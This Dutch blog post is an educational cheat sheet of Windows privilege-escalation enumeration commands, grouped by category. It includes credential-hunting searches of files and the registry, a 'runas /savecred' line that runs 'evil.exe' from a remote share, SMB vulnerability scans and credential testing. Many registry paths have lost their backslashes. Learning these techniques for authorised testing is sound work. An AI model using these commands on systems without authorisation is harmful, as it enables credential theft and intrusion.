Windows Manual Privilege Escalation


In de vorige post heb ik mijn basis commando’s opgesomd om handmatig een Linux machine te enumereren en eventueel een mogelijkheid te vinden voor het uitvoeren van Privilege Escalation. In deze post ga ik exact hetzelfde doen voor Windows. Het Windows besturingssysteem werkt weer helemaal anders dan Linux en dus zullen hier naast een paar dezelfde categorieën ook een aantal nieuwe categorieën beschreven worden. Privilege Escalation op Windows, lees dan zeker even deze post.

DISCLAIMER: Deze post is gepubliceerd voor educatieve doeleinden. Ik ben niet verantwoordelijk voor potentiele schade of malafide praktijken die met deze kennis worden toegepast. Als je verder leest stem je toe deze informatie alleen voor ethische zaken te gebruiken. Zo niet, stop dan nu met lezen en sluit deze pagina!

Deze post is feitelijk een opsomming van verschillende commando’s. De meeste commando’s zijn “command prompt” of wel CMD commando’s. Powershell is echter krachtiger en kent ook diverse mogelijkheden voor enumeratie. Wanneer Powershell gebruikt wordt dan zal dat aangegeven staan bij onderstaande commando’s.

Ik gebruik bij voorkeur altijd een automatisch enumeratiescript zoals WinPEAS, Powerless, PowerUp of PrivescCheck. Niet alleen omdat het sneller is maar vaak ook duidelijker. Potentiele PrivEsc vectors worden vaak al duidelijk aangegeven. Daarin huist echter ook weer wel het gevaar van deze scripts. Wanneer het script het niet als duidelijke PrivEsc vector ziet en er dus geen speciale duiding aan geeft kijk je er als gebruiker gemakkelijk overheen. Daarnaast zijn Privilege Escalation scripts niet stealty. Dus wanneer stealth een belangrijke factor is, of wanneer je de scripts simpelweg niet kunt uploaden / uitvoeren dan is handmatige privilege escalation de enige optie. Zie hieronder welke privilege escalation onderdelen voor Windows we gaan behandelen.

  • System / Version Information
  • Processes
  • Services
  • User Information
  • Password Policy
  • Network Information
  • Firewall Information
  • Scheduled Tasks
  • Connected Devices
  • Installed Software
  • Drivers
  • Startup Items
  • SMB Enumeration
  • DNS Enumeration
  • DC Enumeration
  • Plaintext Users and Passwords
  • Stored Credentials
  • Test Credentials
  • Shadow Copies

Laten we bovenstaande onderdelen eens nader gaan bekijken:

System / Version Information

De basis welke we enumereren is het systeem waarop we zitten. Wat voor soort systeem is dit? Als we dit weten kunnen we mogelijke exploits beter finetunen en weten we of het systeem zelf misschien vulnerable.

#Show Windows version and patchlevel:
ver

#Show all variables and paths:
set

#Show the hostname:
hostname

#Show summary of hardware information and system information:
systeminfo

#Check boot options (with BIOS firmware):
more c:boot.ini

#Show applied patches:
wmic qfe

#Get OS architecture (x32 / x64):
wmic os get osarchitecture

User Information

Wanneer je bent ingelogd wil je altijd graag weten “wie” je bent, welke gebruikers nog meer toegang hebben tot de machine en welke rechten iedereen heeft. Een foute user configuration kan resulteren in privilege escalation.

#The first command you need to run ;-) Check your user rights, privileges and member groups:
whoami /all

#Get information about local user
net user

#Get Domain accounts:
net user /domain

#Any user member of administrators group: 
net localgroup Administrators

#Get information about a specific domain account:
net user jarnoadmin /domain

#Get domain groups:
net group /domain

#Anything in the register for auto logon:
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

#Check who is currently logged in:
qwinsta

Let altijd goed op de beschikbare privileges van een gebruiker. Ook als privileges niet vermeld zijn betekend dit niet dat ze disabled zijn. Binnenkort zal ik een separate post maken over Windows Privileges. De volgende diagram is handig om te kijken welke privileges waarvoor te “misbruiken” zijn:

Processes

Processen geven een mooie indicatie van alle activiteiten die op de achtergrond plaatsvinden. Het verteld iets over de configuratie van het systeem en aanwezige diensten / software.

Display all running applications and hosted processes:
tasklist /svc

#Display verbose task informations
tasklist /v

Services

Ook aanwezig services vertellen veel over de activiteiten van een systeem en ook iets over aanwezige software. Daarnaast kunnen services an-sich ook vulnerable zijn, wanneer fout geconfigureerd.

#Get all services
powershell -command Get-Service

#Get services and as what user they are running:
wmic service get name,startname

#Get all services or change “state” to only view “active” or “inactive” services:
sc query type= service state= all

#Find a specific service:
sc query type= service state= all | findstr "%SERVICENAME%"

#Set service to start automatically:
sc config FreeSSHDService start= auto

#Start a service:
net start %SERVICENAME%

#check service rights:
sc qc %SERVICENAME%

#Find unquoted service paths:
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:Windows\" 2>nul |findstr /i /v """

Password Policy

Wil je iets met accounts gaan doen, dan is kennis over de wachtwoorden en dan met name de policy waar wachtwoorden aan moeten voldoen erg handig. Ook deze informatie is op te vragen:

#Check password lockout policy:
net accounts

Network Information

Door netwerkinstellingen te enumereren kun je veel informatie achterhalen van het netwerk waarin de machine zich bevindt. Hoe is het netwerk geconfigureerd? Welke machines zitten in hetzelfde netwerk? Wat is de domain controller?

#Connection to other hosts or services available from inside:
netstat -ano

Get information from the ARP table:
arp -a

#Get IP information:
ipconfig /all

#Show current routing table:
route print

Firewall Information

Een firewall is voor een hacker altijd een “blokkerende” factor. Het is goed om te achterhalen of er een (Windows) firewall geconfigureerd is en zo ja, hoe deze geconfigureerd is:

#Check firewall status:
netsh firewall show state

#Check configured firewall rules:
netsh firewall show config

#Check detailed configured firewall rules:
netsh advfirewall firewall show rule name=all

#Export detailed configured firewall rules:
netsh advfirewall export "firewall.txt"

Scheduled Tasks

Periodiek geplande taken zijn soms een prachtige privilege escalation vector. Ze stellen je soms in staat een actie uit te voeren als een privileged user en ze kunnen ook aangepast worden om malafide acties uit te voeren.

#Get all scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName

#Powershell version of above command:
Get-ScheduledTask | where {$_.TaskPath -notlike "Microsoft*"} | ft TaskName,TaskPath,State

Connected Devices

Door goed je omgeving te enumereren kun je al snel andere informatie vinden. (Hidden) shares of connected devices kunnen je helpen met privilege escalation.

#Get logical disk information:
wmic logicaldisk get caption,description,providername

Installed Software

Vaak is software verouderd of kan software je helpen (denk aan b.v. compilers). Let goed op welke software beschikbaar is op een machine en doe er je voordeel mee:

#Get installed software:
reg query HKEY_LOCAL_MACHINESOFTWARE

#List software folders with Powershell:
Get-ChildItem 'C:Program Files', 'C:Program Files (x86)' | ft Parent,Name,LastWriteTime

Drivers

In sommige situaties kunnen zelfs specifieke device drivers een mogelijkheid bieden tot privilege escalation. Enumereer de beschikbare drivers altijd even.

#Get all available drivers:
driverquery

Startup Items

Deze items worden altijd uitgevoerd tijdens het opstarten. Misschien kun je iets manipuleren dat tijdens het booten als “SYSTEM” wordt uitgevoerd. Zo check je de startup items:

#Get all startup items:
wmic startup get caption,command

#Get all startup items based on the run values in the register:
reg query HKLMSoftwareMicrosoftWindowsCurrentVersionRun 

#Get all startup items that run on next startup based on the run values in the register:
reg query HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce 

#List all startup shortcuts based on the start menu startup folder for every user:
dir "C:Documents and SettingsAll UsersStart MenuProgramsStartup"

#List all startup shortcuts based on the start menu startup folder for a specific user:
dir "C:Documents and Settings%username%Start MenuProgramsStartup"

SMB Enumeration

SMB (Server Message Block) is onderdeel van het Common File System en is een native Windows netwerkprotocol. Wanneer dit protocol gebruikt wordt kun je belangrijke informatie achterhalen of zelfs elevated rights forceren. Meestal is SMB echter interessant voor het verkrijgen van een foothold.

#Find SMB Vulnerabilities with nmap:
nmap -p445 --script smb-vuln*  10.10.10.10

#Find SMB information and possible creds with NBTScan:
nbtscan 10.10.10.10

#Use Enum4Linux to enumerate SMB:
enum4linux 10.10.10.10

#Use SMBmap to test for shares and check folders:
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -r 'Bob Share'

#use SMBclient to connect to a share and work on it:
smbclient 10.10.10.10
smbclient "\\10.10.10.10\Bob Share"

#Use CrackMapExec to enumerate trough SBM with credentials:
crackmapexec 10.10.10.10 -u ‘thinc.local’ -p ‘’ --local-auth --shares

DNS Enumeration

Door DNS te enumereren kun je erachter komen welke diensten en hosts nog meer op het netwerk aanwezig zijn. Deze informatie geeft je vaak een duidelijker idee van je “aanvalspad” en uiteindelijk naar privilege escalation.

#Check zone transfers:
nslookup
server domain.com
Ls -d domain.com

DC Enumeration

Wanneer er een domain controller aanwezig is in het netwerk is het belangrijk om deze te enumereren. Als de enumeratie slaagt verkrijg je vaak belangrijke informatie om privilege escalation toe te passen. Denk b.v. aan credentials.

#Get Hostname of DC incl. the DistinGuisedName:
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

Plaintext Users and Passwords

Als er op een systeem plaintext credentials te vinden zijn dan is dat een “quick-win”. Deze credentials kunnen je zeker helpen aan hogere rechten. Op de volgende manier controleer je op de aanwezigheid van plain-tekst credentials.

#Find TXT files that contain the string “password”: 
findstr /si password *.txt

#Find XML files that contain the string “password”: 
findstr /si password *.xml

#Find INI files that contain the string “password”: 
findstr /si password *.ini
 
#Common files that usually contain credentials:
c:sysprep.inf
c:sysprepsysprep.xml
c:unattend.xml
%WINDIR%PantherUnattendUnattended.xml
%WINDIR%PantherUnattended.xml
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b 
dir c: /s /b | findstr /si *vnc.ini
 
#Common register paths that usually contain credentials:
#VNC
reg query "HKCUSoftwareORLWinVNC3Password"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

#Windows autologin information:
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon"

#SNMP parameters:
reg query "HKLMSYSTEMCurrentControlSetServicesSNMP"

#Putty sessions:
reg query "HKCUSoftwareSimonTathamPuTTYSessions"

Stored Credentials

In sommige gevallen “onthoud” Windows je gebruikerscredentials. Controleer of er “stored credentials” aanwezig zijn en gebruik deze eventieel t.b.v. privilege escalation.

#Check for stored credentials:
cmdkey /list

#Use saved credentials:
runas /savecred /user:WORKGROUPAdministrator "\10.XXX.XXX.XXXSHAREevil.exe"

#Find other interesting files based on filename like “password.txt”:
dir /a password.txt /s /p

Test Credentials

Deze stap is niet per definitie onderdeel van enumeratie. Maar wanneer je middels bovenstaande stappen credentials verkregen hebt en je wilt deze testen dan zou je dat als volgt kunnen doen:

#Using “net use”:
net use \%LOGONSRV% /user:%LOGONSRV%%USERNAME% %PASSWORD%

#Example of the above command:
net use \bethany /user:bethanyalice ThisIsAPassword

Shadow Copies

Soms zijn shadow copies aanwezig van bestanden die niet te “openen” of te gebruiken zijn op een draaiend systeem. Deze shadow copies huisvesten soms interessante credentials. Controleer altijd even de aanwezige shadow copies:

# List shadow copies using diskshadow
diskshadow list shadows all
  
# Make a symlink to the shadow copy and access it
mklink /d c:shadowcopy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1

Conclusie

Windows Manual Privilege Escalation is in mijn ogen wat lastiger dan Linux Privilege Escalation. Toch zou je met bovenstaande tips een heel eind moeten komen. Het is belangrijk om tijdens iedere stap goed op te letten en om te begrijpen wat de resultaten “vertellen”. Handmatige enumeratie kost tijd en het liefste wil je dat niet dubbel doen 😉 Bovenstaande Privilege Escalation commando’s zijn een goede start maar ik weet zeker dat jij ook goede enumeratie commando’s hebt! Deel ze gerust met me zodat ik deze lijst aan kan vullen en er zelf weer van kan leren! Heel erg bedankt!

❤ Pls… deel dit bericht s.v.p. verder op andere kanalen zoals je eigen website, social media of geef hem een dikke like! En… je bent ook van harte welkom in onze NL InfoSec Discord! Hier delen we kennis met elkaar of doen we soms gewoon een leuk evenementje…gewoon lekker in het Nederlands. Tot ziens! ❤

Like this content?

If you found this article interesting or useful, consider supporting my work by buying me a coffee. It helps me continue creating valuable security content!

Buy me a coffee